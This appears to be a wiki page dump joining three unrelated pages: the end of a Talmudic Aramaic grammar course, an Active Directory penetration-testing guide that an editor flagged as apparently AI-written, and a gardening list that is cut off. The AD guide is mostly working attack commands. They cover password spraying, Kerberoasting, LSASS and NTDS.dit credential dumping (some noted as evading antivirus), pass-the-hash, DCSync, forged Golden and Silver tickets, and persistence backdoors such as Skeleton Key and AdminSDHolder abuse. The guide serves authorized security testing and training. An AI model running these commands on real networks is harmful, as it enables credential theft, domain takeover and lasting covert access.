considerably. Therefore, the final '''־א''' should not automatically be translated as the English definite article “the.” ---- = Chapter 5: Question Words = == מאי == '''מאי?''' What? Example: '''מאי טעמא?''' What is the reason? Why? ---- == מאן == '''מאן?''' Who? Example: '''מאן אמרה?''' Who said it? ---- == היכי == '''היכי?''' How? Example: '''היכי דמי?''' What exactly is the case? Literally: “How does it resemble?” In Talmudic discussion, however, it normally asks how a particular legal case should be understood. ---- == היכא == '''היכא?''' Where? ---- == אימת == '''אימת?''' When? ---- == כמה == '''כמה?''' How much? How many? ---- = Chapter 6: “There Is” and “There Is Not” = Two extremely important words are: '''אית''' — there is, exists '''לית''' — there is not, does not exist When combined with the preposition '''ל־''', they commonly express possession. === Examples === '''אית ליה''' He has. Literally: “There is to him.” ----'''לית ליה''' He does not have. Literally: “There is not to him.” ----'''אית לה''' She has. ----'''לית לה''' She does not have. ----'''אית לן''' We have. ----'''לית לן''' We do not have. === Useful Forms === {| class="wikitable" !Aramaic !English |- |לי |to me |- |לך |to you |- |ליה |to him |- |לה |to her |- |לן |to us |- |לכו |to you, plural |- |להו |to them |} This construction is similar to possession structures found in many Semitic languages. ---- = Chapter 7: Personal Pronouns = Common personal pronouns include: {| class="wikitable" !Aramaic !English |- |אנא |I |- |אנת |you, singular |- |איהו |he |- |איהי |she |- |אנן |we |- |אתון |you, plural |- |אינהו |they |} Examples: '''אנא אמרי''' I say. ----'''איהו אמר''' He said. ----'''אינהו אמרי''' They say. Exact forms may vary according to manuscript tradition, dialectal form, grammatical environment, and period. ---- = Part II — The Verb = = Chapter 8: The Past Tense = As in Hebrew and other Semitic languages, many Aramaic past-tense forms express person, number, and gender through endings. Using the root כתב: '''כתב''' he wrote ----'''כתבת''' you wrote ----'''כתבו''' they wrote Common verbs in Talmudic Aramaic include: {| class="wikitable" !Aramaic !English |- |אמר |said |- |סבר |thought, held the opinion |- |אזל |went |- |אתא |came |- |יתיב |sat |- |קם |stood |- |חזא |saw |- |שמע |heard |- |עבד |did, made |- |אשכח |found |} Learning these high-frequency verbs gives the student rapid access to narrative and argumentative passages. ---- = Chapter 9: The Participle and the Particle קא = Aramaic frequently uses participial constructions. A very common Talmudic pattern includes the particle: '''קא''' Example: '''קאמר''' he is saying or, depending on context: he says ----'''קא עביד''' he is doing ----'''קא אזיל''' he is going ----'''קאמר ליה''' he says to him The particle '''קא''' often helps mark an ongoing or current action, but it should not be treated as a simple mechanical equivalent of the English present progressive. Its function depends on dialect and context. ---- = Chapter 10: Future and Modal Forms = Future forms in Aramaic frequently resemble those of other Semitic languages, but many high-frequency verbs have irregular or contracted forms. Examples: '''אימא''' I will say. It can also mean: Let me say. ----'''איעביד''' I will do. Future forms may also carry modal meanings such as: * possibility * intention * command * suggestion * hypothetical action Context is therefore essential. ---- = Chapter 11: Commands = Common commands include: '''תא''' Come. ----'''תא שמע''' Come and hear. This is one of the most famous expressions in the Talmud. In argumentative context it means approximately: “Come and consider this source.” or: “Here is evidence.” ----'''חזי''' See. ----'''שמע''' Hear. ----'''קום''' Stand up. ----'''זיל''' Go. Example: '''זיל חזי''' Go and see. ---- = Part III — Essential Syntax = = Chapter 12: The Particle ד־ = The particle '''ד־''' is one of the most important elements in Aramaic. It can serve several functions. == Possession == '''ביתא דרב''' the house of Rav ---- == Relative Clause == '''גברא דאמר''' the man who said ---- == Content Clause == '''אמר ד...''' He said that... ---- == Explanation or Relationship == Depending on context, '''ד־''' may correspond to English: * of * who * which * that * because * belonging to It must therefore be translated according to its syntactic role. ---- = Chapter 13: מן — “From” = '''מן''' means: from or: out of Example: '''מן הכא''' from here hence ----A famous expression is: '''מנא לן?''' From where do we know this? The phrase is used when the Talmud asks for the textual or logical source of a rule. ---- = Chapter 14: נמי — “Also” = '''נמי''' usually means: also too as well Example: '''הכא נמי''' here too also here ----'''איהו נמי''' he too ---- = Chapter 15: הא = The particle '''הא''' may introduce, point to, or emphasize something. Examples: '''הא גברא''' this man behold the man ----'''הא קמן''' Here it is before us. The exact translation depends heavily on context. ---- = Chapter 16: Negation = Several forms are used for negation. == לא == ordinary negation: not Example: '''לא אמר''' He did not say. ---- == לית == there is not Example: '''לית ליה''' He does not have. ---- == לאו == not is it not? is this not? Example: '''לאו מילתא היא''' It is not a valid argument. Literally: “It is not a matter.” ---- = Part IV — The Language of Talmudic Argumentation = = Chapter 17: Basic Discussion Formulae = The Babylonian Talmud uses many recurring expressions to organize discussion. Learning these expressions is as important as learning vocabulary. ---- == אמר מר == '''אמר מר''' “The master said.” This expression returns to a statement previously quoted. ---- == גופא == '''גופא''' literally: “the body itself” In context: “Returning to the matter itself.” It introduces renewed discussion of a source or statement previously mentioned incidentally. ---- == פשיטא == '''פשיטא''' It is obvious. This often introduces the question: Why did the source need to state something apparently self-evident? ---- == מהו דתימא == '''מהו דתימא''' One might have thought... Literally: “What might you say?” This introduces a possible but ultimately rejected interpretation. ---- == קא משמע לן == '''קא משמע לן''' It teaches us. Literally: “It causes us to hear.” This normally introduces the real point or novelty of a teaching. A common argumentative structure is: '''פשיטא''' Obviously... '''מהו דתימא''' You might have thought... '''קא משמע לן''' Therefore it teaches us... ---- = Chapter 18: Objections and Resolutions = A large portion of Talmudic discussion consists of objections, contradictions, resolutions, and distinctions. == מיתיבי == '''מיתיבי''' An objection is raised. More specifically, this often introduces a challenge from a Tannaitic source. ---- == ורמינהו == '''ורמינהו''' A contradiction is raised between sources. Approximately: “Set this against that.” ---- == קשיא == '''קשיא''' It is difficult. There is a difficulty. ---- == לא קשיא == '''לא קשיא''' It is not difficult. There is no contradiction. A common structure is: '''לא קשיא; הא... הא...''' There is no contradiction. This case refers to... while that case refers to... ---- = Chapter 19: שמע מינה = '''שמע מינה''' literally: “Hear from it.” In idiomatic English: Learn from this. We may infer from this. A common expression is: '''שמע מינה תרתי''' Learn two things from this. ---- = Chapter 20: תיקו = '''תיקו''' marks an unresolved question in the Talmud. It means that the problem remains standing without a final resolution in the present discussion. A popular later interpretation treats תיקו as an acronym for: '''תשבי יתרץ קושיות ובעיות''' “Elijah the Tishbite will resolve difficulties and problems.” However, this is not the historical linguistic origin of the Talmudic word. For practical reading, simply understand: '''תיקו''' The question remains unresolved. ---- = Part V — Essential Vocabulary = = Chapter 21: One Hundred Useful Words = {| class="wikitable" !Aramaic !English |- |אבא |father |- |אחא |brother |- |בר |son |- |ברתא |daughter |- |גברא |man |- |איתתא |woman |- |רב |great, master, rabbi |- |זוטא |small |- |חד |one |- |תרי |two |- |תלת |three |- |ארבע |four |- |חמש |five |- |יומא |day |- |ליליא |night |- |שתא |year |- |שעתא |hour |- |ביתא |house |- |ארעא |land |- |שמיא |heaven |- |נהרא |river |- |מיא |water |- |נורא |fire |- |רישא |head |- |ידא |hand |- |כרעא |leg |- |עינא |eye |- |ליבא |heart |- |פומא |mouth |- |קלא |voice |- |מילתא |matter, word, thing |- |טעמא |reason |- |דינא |law, judgment |- |עובדא |event, case, deed |- |תלמודא |study, learning |- |ספרא |book |- |אמר |said |- |סבר |thought, held |- |ידע |knew |- |שמע |heard |- |חזא |saw |- |אזל |went |- |אתא |came |- |יתיב |sat |- |קם |stood |- |נפל |fell |- |עבד |did |- |יהב |gave |- |שקל |took |- |אשכח |found |- |בעי |asked, required, wanted |- |בעא |wanted, sought |- |אכל |ate |- |שתי |drank |- |כתב |wrote |- |קרי |read, called |- |למד |learned |- |אמרי |they say |- |מאי |what |- |מאן |who |- |היכי |how |- |היכא |where |- |אימת |when |- |כמה |how much, how many |- |מנא |from where |- |הכא |here |- |התם |there |- |השתא |now |- |מעיקרא |originally |- |נמי |also |- |טפי |more |- |שפיר |well, properly |- |ודאי |certainly |- |אפשר |possible |- |אסור |forbidden |- |שרי |permitted |- |חייב |liable, obligated |- |פטור |exempt |- |אית |there is |- |לית |there is not |- |הוה |was |- |הוי |be, was, became |- |ליה |to him |- |לה |to her |- |להו |to them |- |לן |to us |- |מיניה |from him, from it |- |בה |in her, in it |- |ביה |in him, in it |- |עליה |upon him, concerning him |- |קמיה |before him |- |בתריה |after him |- |משום |because of |- |כיון |since, once |- |אלא |rather, but |- |אי |if |- |דלמא |perhaps |- |אפילו |even |- |כולי |all |- |טובא |much, many |- |זימנא |time, occasion |} ---- = Part VI — Guided Reading = = Chapter 22: First Passage = '''אמר רב: מאי טעמא? משום דלית ליה.''' Breakdown: '''אמר רב''' Rav said. ----'''מאי טעמא?''' What is the reason? ----'''משום ד־''' because because of the fact that ----'''לית ליה''' he does not have ---- === Translation === Rav said: “What is the reason? Because he does not have it.” ---- = Chapter 23: Second Passage = '''ההוא גברא דאתא לקמיה דרבא.''' Breakdown: '''ההוא''' that ----'''גברא''' man ----'''דאתא''' who came ----'''לקמיה''' before him ----'''דרבא''' of Rava before Rava === Translation === “That man who came before Rava.” The expression: '''ההוא גברא''' “that man” is extremely common in Talmudic narrative passages. ---- = Chapter 24: Third Passage = '''אמר ליה: זיל, תא למחר.''' Breakdown: '''אמר ליה''' He said to him. ----'''זיל''' Go. ----'''תא''' Come. ----'''למחר''' tomorrow. === Translation === He said to him: “Go, and come tomorrow.” ---- = Chapter 25: A Typical Logical Pattern = Consider: '''פשיטא! מהו דתימא... קא משמע לן.''' This is a classic Talmudic argumentative structure. === Stage 1 === '''פשיטא''' The teaching seems obvious. === Stage 2 === '''מהו דתימא''' The Talmud explains that one could have reached another conclusion. === Stage 3 === The alternative interpretation is presented. === Stage 4 === '''קא משמע לן''' The teaching is therefore necessary in order to reject that alternative. Understanding such structures makes Talmudic reading much easier. ---- = Part VII — Exercises = = Chapter 26: Translate into English = Translate: # מאי טעמא? # אית ליה ספר. # לית לן מיא. # ההוא גברא אתא. # אמר ליה רבא. # הכא נמי. # שמע מינה. # תא שמע. # מאן אמר? # היכי דמי? === Answers === # What is the reason? # He has a book. # We have no water. # That man came. # Rava said to him. # Here too. # Learn from this. # Come and hear. # Who said it? # What exactly is the case? ---- = Chapter 27: Translate into Aramaic = Translate: # He has. # He does not have. # Who said it? # What is the reason? # Come and hear. # That man. # Here too. # He said to him. # Learn from this. # Where is he? === Possible Answers === # אית ליה # לית ליה # מאן אמר? # מאי טעמא? # תא שמע # ההוא גברא # הכא נמי # אמר ליה # שמע מינה # היכא איהו? ---- = Part VIII — How to Read the Talmud = = Chapter 28: A Five-Step Reading Method = When approaching a Talmudic passage, do not immediately attempt to translate every word. Use the following method. == Step 1: Find the Verbs == Look for words such as: '''אמר''' said '''סבר''' thought '''בעי''' asked '''תנן''' we learned in the Mishnah '''תניא''' it was taught in a Baraita '''מיתיבי''' an objection was raised These forms reveal the actions taking place in the discussion. ---- == Step 2: Find the Connectors == Look for: '''ד־''' that, of, who '''אי''' if '''אלא''' rather '''משום''' because '''כיון''' since '''נמי''' also These words reveal the logical structure. ---- == Step 3: Identify the Speaker == Ask: Who is speaking? Is this: * the Mishnah? * a Baraita? * an Amora? * an anonymous editorial voice? * a quoted authority? This distinction is essential. ---- == Step 4: Identify the Argumentative Function == Ask whether the sentence is: * a question * an answer * an objection * a proof * a rejection * a distinction * a conclusion ---- == Step 5: Translate Only After Understanding the Structure == Do not treat the Talmud as a sequence of isolated dictionary entries. First understand what the argument is doing. Then translate. ---- = Chapter 29: Signposts in Talmudic Discussion = {| class="wikitable" !Expression !Function |- |מנא הני מילי |asks for the source |- |מאי טעמא |asks for the reason |- |פשיטא |declares something obvious |- |מהו דתימא |introduces a possible alternative |- |קא משמע לן |states the intended teaching |- |מיתיבי |raises an objection |- |ורמינהו |raises a contradiction |- |לא קשיא |resolves a contradiction |- |תא שמע |introduces evidence |- |שמע מינה |draws an inference |- |איבעיא להו |introduces a question |- |תיקו |leaves a question unresolved |- |גופא |returns to a previous topic |- |אמר מר |returns to a quoted statement |} Memorizing these expressions dramatically improves reading speed. ---- = Part IX — Aramaic and Hebrew Compared = = Chapter 30: Sound Correspondences = Hebrew and Aramaic are closely related Semitic languages. Many cognate roots show systematic historical sound correspondences. One well-known example is: Hebrew: '''זהב''' gold Aramaic: '''דהבא''' gold Another major historical correspondence involves Hebrew '''ש''' and Aramaic '''ת''' in certain inherited Semitic words. These relationships are useful, but they should not be applied mechanically. Language change is historical and irregular enough that every unfamiliar word cannot simply be reconstructed from Hebrew. ---- = Chapter 31: Familiar-Looking Words with Different Functions = Some Aramaic words look easy to a Hebrew reader but have several possible meanings. == בעי == Depending on context, this may mean: * asks * wants * seeks * requires * needs ---- == סבר == This can mean: * thought * held * maintained the opinion * reasoned ---- == עבד == This may mean: * did * made * performed ---- == חזי == This may mean: * see * look * observe * be worthy or suitable Context is therefore more important than any one-word dictionary equivalent. ---- = Part X — Toward Independent Reading = = Chapter 32: Practice Sentences = == Sentence 1 == '''אמר רב יוסף: הכא במאי עסקינן?''' Translation: Rav Yosef said: “What are we dealing with here?” This phrase introduces a reinterpretation of the circumstances of a case. ---- == Sentence 2 == '''אי הכי, מאי טעמא?''' Translation: If so, what is the reason? ---- == Sentence 3 == '''לא קשיא; הא בדידיה, הא בדחבריה.''' Translation: There is no contradiction. This case concerns his own property, while that case concerns his fellow's property. ---- == Sentence 4 == '''תא שמע, דתניא...''' Translation: Come and hear, for it was taught in a Baraita... ---- == Sentence 5 == '''שמע מינה תרתי.''' Translation: Learn two things from this. ---- = Chapter 33: Common Contracted Forms = Many Aramaic expressions consist of several elements fused together. == דאמר == '''ד + אמר''' who said that said ---- == דאית == '''ד + אית''' that there is which has ---- == דלית == '''ד + לית''' that there is not which does not have ---- == דהוה == '''ד + הוה''' that was who was ---- == דקאמר == '''ד + קא + אמר''' that he is saying what he means when he says ---- == מאי שנא == What is different? Why is this case different? ---- == מאי קא משמע לן == What is this teaching us? What new point is being taught? ---- = Chapter 34: Final Analysis Exercise = Analyze: '''איתמר: אמר רבא, מאי טעמא? משום דכתיב... מיתיבי... לא קשיא.''' === Step 1 === '''איתמר''' It was stated. This often introduces an Amoraic discussion. ---- === Step 2 === '''אמר רבא''' Rava said. ---- === Step 3 === '''מאי טעמא?''' What is the reason? ---- === Step 4 === '''משום דכתיב''' Because it is written... A biblical verse is about to be cited. ---- === Step 5 === '''מיתיבי''' An objection is raised. ---- === Step 6 === '''לא קשיא''' The objection is resolved. Even before translating the full contents of the argument, the reader can already identify its structure: # a teaching is introduced; # Rava gives an opinion; # the reason is requested; # a verse is cited; # an objection is raised; # the contradiction is resolved. This structural method is one of the most effective ways to learn Talmudic Aramaic. ---- = Conclusion = Learning Jewish Babylonian Aramaic involves more than memorizing vocabulary. The student must develop three related skills. == 1. Language == Learn: * vocabulary * verb forms * pronouns * particles * syntax == 2. Argument Structure == Recognize: * questions * answers * objections * proofs * distinctions * conclusions == 3. Literary Context == Learn to distinguish between: * Mishnah * Baraita * Amoraic statements * anonymous Talmudic discussion * biblical citations A student who learns several hundred high-frequency words and the principal formulas of Talmudic argumentation can begin reading short passages much earlier than might be expected. ---- = Appendix A — Suggested Course Plan = === Lessons 1–3 === Alphabet, basic vocabulary, personal pronouns. === Lessons 4–6 === Nouns, possession, the particle ד־, prepositions, and אית/לית. === Lessons 7–10 === Common verbs and verbal forms. === Lessons 11–14 === Question words and sentence structure. === Lessons 15–18 === Talmudic argumentative terminology. === Lessons 19–24 === Guided reading of short passages. === Lessons 25–30 === Independent reading of increasingly complex passages. The goal at the end of the introductory course is for the student to open a relatively simple passage of the Babylonian Talmud, identify the main grammatical structures, follow the stages of the argument, and use a dictionary only for unfamiliar vocabulary. ---- = Appendix B — Recommended Learning Strategy = A good daily routine is: # Learn ten new words. # Review twenty previously learned words. # Read five short Aramaic sentences aloud. # Identify every verb. # Mark every occurrence of ד־. # Identify the question or argument type. # Translate the passage only after analyzing its structure. # Re-read the passage without the translation. With regular practice, recurring Talmudic structures become recognizable very quickly. ---- = Appendix C — Core Expressions to Memorize = A beginner should know the following expressions almost automatically: '''מאי טעמא?''' What is the reason? '''מנא לן?''' From where do we know this? '''היכי דמי?''' What exactly is the case? '''אי הכי''' If so. '''הכא נמי''' Here too. '''תא שמע''' Come and hear. '''שמע מינה''' Learn from this. '''פשיטא''' Obviously. '''מהו דתימא''' One might have thought. '''קא משמע לן''' It teaches us. '''מיתיבי''' An objection is raised. '''לא קשיא''' There is no difficulty. '''איבעיא להו''' A question was raised before them. '''תיקו''' The question remains unresolved. '''אמר מר''' The master said. '''גופא''' Returning to the matter itself. Mastering these expressions provides the student with the basic framework for beginning serious study of Jewish Babylonian Aramaic. cmlibgtsrmpnp6cxr7iirwlel3wsta4 0 485684 4670658 4670589 2026-09-17T13:46:23Z Kittycataclysm 3371989 flag 4670658 wikitext text/x-wiki {{AI-suspected|reason=Specific typographical quirks, broken/nonexistent links, broken/misused templates}} = Active Directory Penetration Testing = {{Wikibooks|subject=Security|stage=50%}} This guide covers the methodology and techniques used by security professionals to assess the security posture of Microsoft Active Directory (AD) environments. It is intended for use in authorized penetration tests and educational lab environments only. == Introduction == Active Directory (AD) is Microsoft's directory service used for identity and access management in enterprise networks. Because AD controls authentication and authorization for Windows environments, it is a primary target in penetration tests and real-world attacks. This guide follows the standard penetration testing lifecycle: # Reconnaissance # Initial Access # Privilege Escalation # Lateral Movement # Domain Compromise # Persistence # Reporting === Legal Disclaimer === {{Warning|All techniques described here must only be performed on systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal and unethical.}} === Lab Setup === To practice safely, use a dedicated lab environment such as: * [[github:Orange-Cyberdefense/GOAD|GOAD (Game of Active Directory)]] — a vulnerable AD lab * [[github:AutomatedLab/AutomatedLab|AutomatedLab]] — automated Windows lab deployment * Own virtual machines with Windows Server (evaluation licenses available from Microsoft) Recommended tools: * Kali Linux (attack machine) * Windows Server 2019/2022 (domain controller) * Windows 10/11 (workstations) == Reconnaissance == === External Reconnaissance === Before touching the network, gather OSINT:<syntaxhighlight lang="bash"> # Enumerate DNS records nslookup -type=SRV _ldap._tcp.dc._msdcs.domain.local dig _kerberos._tcp.domain.local SRV # Discover domain controllers via LDAP nmap -p 389,636,3268,3269 --open 192.168.1.0/24 # BloodHound collection (once inside the network) SharpHound.exe --CollectionMethods All --Domain domain.local </syntaxhighlight> === Internal Enumeration === Once on the network, enumerate the AD environment:<syntaxhighlight lang="powershell"> # Built-in PowerShell AD module Get-ADDomain Get-ADForest Get-ADUser -Filter * -Properties * Get-ADGroup -Filter * | Where-Object { $_.GroupCategory -eq "Security" } Get-ADComputer -Filter * -Properties OperatingSystem # PowerView (from PowerSploit) Import-Module PowerView.ps1 Get-NetDomain Get-NetDomainController Get-NetUser | Select samaccountname, description, pwdlastset Get-NetGroup "Domain Admins" -FullData Find-LocalAdminAccess # Find machines where current user is local admin </syntaxhighlight> == Initial Access == === Password Spraying === Password spraying tests one or a few common passwords against many accounts to avoid lockout:<syntaxhighlight lang="powershell"> # Kerbrute (Go binary — fast, low noise) kerbrute passwordspray -d domain.local --dc dc01.domain.local users.txt 'Password123!' # CrackMapExec crackmapexec smb dc01.domain.local -u users.txt -p 'Password123!' --continue-on-success </syntaxhighlight>'''Lockout awareness:''' Always check the domain's lockout policy before spraying:<syntaxhighlight lang="powershell"> Get-ADDefaultDomainPasswordPolicy </syntaxhighlight> === AS-REP Roasting === Accounts with ''Do not require Kerberos preauthentication'' set are vulnerable:<syntaxhighlight lang="powershell"> # Find vulnerable accounts Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth # Request AS-REP hash Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt # Crack offline hashcat -m 18200 asrep_hashes.txt wordlist.txt </syntaxhighlight> === Kerberoasting === Service accounts with SPNs registered are vulnerable to offline password cracking:<syntaxhighlight lang="powershell"> # Find Kerberoastable accounts Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName # Request service tickets Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt # Crack offline hashcat -m 13100 kerberoast_hashes.txt wordlist.txt </syntaxhighlight> == Privilege Escalation == === Local Privilege Escalation === Common misconfigurations that lead to local admin:<syntaxhighlight lang="powershell"> # Automated enumeration winpeas.exe Invoke-AllChecks # PowerUp # Check for AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated # Unquoted service paths wmic service get name,pathname,startmode | findstr /i "auto" | findstr /v "C:\Windows" # Writable service binaries accesschk.exe -uwcqv "Users" * </syntaxhighlight> === Token Impersonation === With local admin or SeImpersonatePrivilege:<syntaxhighlight lang="powershell"> # Check privileges whoami /priv # Potato attacks (if SeImpersonatePrivilege) # GodPotato, PrintSpoofer, RoguePotato PrintSpoofer.exe -i -c cmd.exe </syntaxhighlight> == Credential Dumping == === LSASS Memory Dump === <syntaxhighlight lang="cmd"> # Task Manager (GUI) — lsass.exe → Create Dump File # comsvcs.dll (signed by Microsoft, bypasses most AV) tasklist | findstr lsass rundll32 C:\Windows\System32\comsvcs.dll MiniDump <PID> C:\Temp\lsass.dmp full # Parse with pypykatz (on Linux) pypykatz lsa minidump lsass.dmp </syntaxhighlight> === NTDS.dit Extraction === The NTDS.dit database contains all domain password hashes. It can only be extracted directly from a Domain Controller.<syntaxhighlight lang="cmd"> # ntdsutil — built-in Windows tool, not flagged by AV ntdsutil "ac i ntds" "ifm" "create full C:\Temp\IFM" q q </syntaxhighlight><syntaxhighlight lang="powershell"> # Parse with DSInternals PowerShell module Install-Module -Name DSInternals -Force Import-Module DSInternals $key = Get-BootKey -SystemHivePath 'C:\Temp\IFM\registry\SYSTEM' Get-ADDBAccount -All ` -DBPath 'C:\Temp\IFM\Active Directory\ntds.dit' ` -BootKey $key | Format-Custom -View HashcatNT </syntaxhighlight><syntaxhighlight lang="bash"> # Parse on Linux with impacket impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL </syntaxhighlight> == Lateral Movement == === Pass-the-Hash (PtH) === NTLM hashes can be used directly for authentication without cracking:<syntaxhighlight lang="bash"> # CrackMapExec crackmapexec smb 192.168.1.0/24 -u Administrator -H NTLM_HASH # Impacket psexec impacket-psexec -hashes :NTLM_HASH domain/Administrator@target # Impacket wmiexec impacket-wmiexec -hashes :NTLM_HASH domain/Administrator@target </syntaxhighlight> === Pass-the-Ticket (PtT) === <syntaxhighlight lang="powershell"> # List current Kerberos tickets klist # Import a .kirbi ticket Rubeus.exe ptt /ticket:ticket.kirbi # Verify access dir \\dc01\c$ </syntaxhighlight> === WinRM / PowerShell Remoting === <syntaxhighlight lang="powershell"> # Check if WinRM is open Test-NetConnection -ComputerName target -Port 5985 # Remote session Enter-PSSession -ComputerName target -Credential domain\Administrator # Run commands remotely Invoke-Command -ComputerName target -ScriptBlock { whoami; ipconfig } </syntaxhighlight> == Domain Compromise == === DCSync Attack === With Domain Admin or DCSync rights (DS-Replication-Get-Changes-All), request domain password hashes directly from a DC without touching NTDS.dit:<syntaxhighlight lang="bash"> # Impacket secretsdump (from Linux — DC never sees Mimikatz) impacket-secretsdump domain.local/DomainAdmin:Password@dc01.domain.local # Output includes: # Administrator:500:aad3b435...:NTLM_HASH::: # krbtgt:502:aad3b435...:KRBTGT_HASH::: </syntaxhighlight> === Golden Ticket === A Golden Ticket is a forged Kerberos TGT signed with the KRBTGT account's hash. It grants unlimited access to any resource in the domain for up to 10 years (by default), even if user passwords change. '''Requirements:''' * KRBTGT NTLM hash (or AES256 key) * Domain SID * Domain name <syntaxhighlight lang="powershell"> # Create and inject Golden Ticket with Rubeus (Windows) Rubeus.exe golden ` /aes256:KRBTGT_AES256_KEY ` /domain:domain.local ` /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX ` /user:Administrator ` /ptt # Verify klist dir \\dc01\c$ </syntaxhighlight><syntaxhighlight lang="bash"> # Create Golden Ticket with Impacket (Linux) impacket-ticketer ` -aesKey KRBTGT_AES256_KEY ` -domain-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX ` -domain domain.local ` Administrator export KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass dc01.domain.local </syntaxhighlight>{{Note|Use AES256 keys instead of RC4 (NTLM) hashes where possible. RC4-based Golden Tickets trigger Kerberos downgrade detections in modern SIEM/EDR solutions.}} === Silver Ticket === A Silver Ticket is a forged Kerberos service ticket (TGS) for a specific service. It does not require the KRBTGT hash — only the target service account's hash:<syntaxhighlight lang="powershell"> # Forge a CIFS service ticket for a file server Rubeus.exe silver ` /service:cifs/fileserver.domain.local ` /rc4:SERVICE_ACCOUNT_NTLM_HASH ` /domain:domain.local ` /sid:S-1-5-21-XXXXXXXXXX ` /user:Administrator ` /ptt </syntaxhighlight> == Persistence == === Skeleton Key === Patches LSASS to allow any user to authenticate with a master password (requires domain admin, non-persistent across reboots):<syntaxhighlight lang="powershell"> Invoke-Mimikatz -Command '"misc::skeleton"' # Now any account can authenticate with password "mimikatz" </syntaxhighlight> === AdminSDHolder Abuse === Modify AdminSDHolder ACL to grant persistent domain admin rights:<syntaxhighlight lang="powershell"> # Add user to AdminSDHolder ACL Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' ` -PrincipalSamAccountName backdooruser ` -Rights All -Verbose # SDProp runs every 60 minutes and propagates rights to all protected groups </syntaxhighlight> === DSRM Account Abuse === The Directory Services Restore Mode (DSRM) local administrator account exists on every DC. Enable network login with its hash:<syntaxhighlight lang="cmd"> # Enable DSRM network login (registry change on DC) reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 # Now use the DSRM hash with PTH impacket-secretsdump -hashes :DSRM_HASH "domain.local\Administrator@dc01" </syntaxhighlight> == Detection and Mitigation == Understanding attacks also helps defenders. Key mitigations: {| class="wikitable" !Attack !Detection !Mitigation |- |Kerberoasting |Event ID 4769 (RC4 TGS requests) |Use strong service account passwords; AES encryption |- |AS-REP Roasting |Event ID 4768 without pre-auth |Enable pre-authentication on all accounts |- |DCSync |Event ID 4662 (DS-Replication) |Monitor DCSync rights; use MDI/ATA |- |Golden Ticket |Event ID 4624 with unusual logon |Rotate KRBTGT password twice; enable MDI |- |Pass-the-Hash |Event ID 4624 (Type 3 logon) |Enable Protected Users group; disable NTLM |- |LSASS Dump |Event ID 10 (Sysmon) |Enable Credential Guard; PPL for LSASS |} == Tools Reference == === Offensive Tools === {| class="wikitable" !Tool !Language !Use Case |- |[[github:GhostPack/Rubeus|Rubeus]] |C# |Kerberos attacks, ticket manipulation |- |[[github:PowerShellMafia/PowerSploit|PowerSploit]] |PowerShell |Enumeration, exploitation |- |[[github:BloodHoundAD/BloodHound|BloodHound]] |JavaScript/Python |AD attack path visualization |- |[[github:fortra/impacket|Impacket]] |Python |Remote exploitation, secretsdump |- |[[github:byt3bl33d3r/CrackMapExec|CrackMapExec]] |Python |Network pentesting automation |- |[[github:MichaelGrafnetter/DSInternals|DSInternals]] |PowerShell |NTDS.dit parsing, offline analysis |} === Defensive Tools === {| class="wikitable" !Tool !Use Case |- |Microsoft Defender for Identity (MDI) |Detects AD attacks in real-time |- |BloodHound Enterprise |Continuous attack path monitoring |- |Purple Knight |AD security assessment |- |Ping Castle |AD risk assessment |} == Further Reading == * [https://attack.mitre.org/tactics/TA0006/ MITRE ATT&CK — Credential Access] * [https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/ Microsoft AD Documentation] * [https://adsecurity.org/ Active Directory Security Blog] * [https://book.hacktricks.xyz/windows-hardening/active-directory-methodology HackTricks — AD Methodology] == See Also == * [[Ethical Hacking]] * [[Network Security]] * [[Kerberos Authentication Protocol]] * [[Windows Security]] 2bh0pfc26qk4kq7dp9b52n28dlxrlvh 2 485687 4670629 4670620 2026-09-17T13:01:46Z MathXplore 3097823 Marking for speedy deletion: Out of scope 4670629 wikitext text/x-wiki <noinclude>{{Delete|example=false|Out of scope}}</noinclude> '''Best Flowers to Plant in September for a Beautiful Fall Garden''' September is an excellent time to refresh your garden with colorful flowers. As summer heat begins to fade, cooler temperatures create ideal conditions for many flowering plants to establish strong roots and produce beautiful blooms throughout fall. Whether you have a large backyard, small garden, balcony, or container garden, there are plenty of flowers you can plant in September. Here are some of the '''best choices for creating a vibrant fall garden'''. == 1. Chrysanthemums == Chrysanthemums, commonly called mums, are among the most popular fall flowers. They come in many colors, including yellow, orange, red, pink, purple, and white. Mums prefer plenty of sunlight and well-drained soil. Water them regularly after planting, but avoid keeping the soil constantly soggy. With proper care, they can provide weeks of colorful blooms. == 2. Pansies == Pansies are excellent cool-season flowers. Their cheerful, colorful faces make them a favorite for fall gardens, containers, window boxes, and garden borders. Plant pansies in a location that receives several hours of sunlight. They prefer moist, well-drained soil and can continue flowering as temperatures become cooler. == 3. Violas == Violas are closely related to pansies but generally produce smaller flowers. They are hardy, easy to grow, and available in a wide range of colors. Because violas tolerate cool weather well, September planting can give them plenty of time to establish before colder conditions arrive. == 4. Calendula == Calendula is a bright, cheerful flower that can add warm shades of yellow and orange to a fall garden. It grows well in full sun and prefers soil with good drainage. Calendula can also be grown in containers, making it a practical choice for gardeners with limited space. == 5. Sweet Alyssum == Sweet alyssum produces clusters of small, fragrant flowers. White is one of the most common colors, although pink and purple varieties are also available. It works beautifully along garden edges, pathways, containers, and between larger plants. Give it sunlight and well-drained soil for healthy growth. == 6. Snapdragons == Snapdragons are another excellent choice for a fall garden. Their tall flower spikes bring height and structure to flower beds, while their colorful blooms create an attractive display. They grow best in fertile, well-drained soil with good sunlight. Deadheading spent flowers can encourage additional blooms. == 7. Marigolds == Marigolds are easy-to-grow annuals that provide bright yellow and orange flowers. They perform particularly well in sunny locations and can be planted in garden beds or containers. If your area still has relatively warm weather in September, marigolds can continue producing flowers well into fall. == 8. Asters == Asters are classic 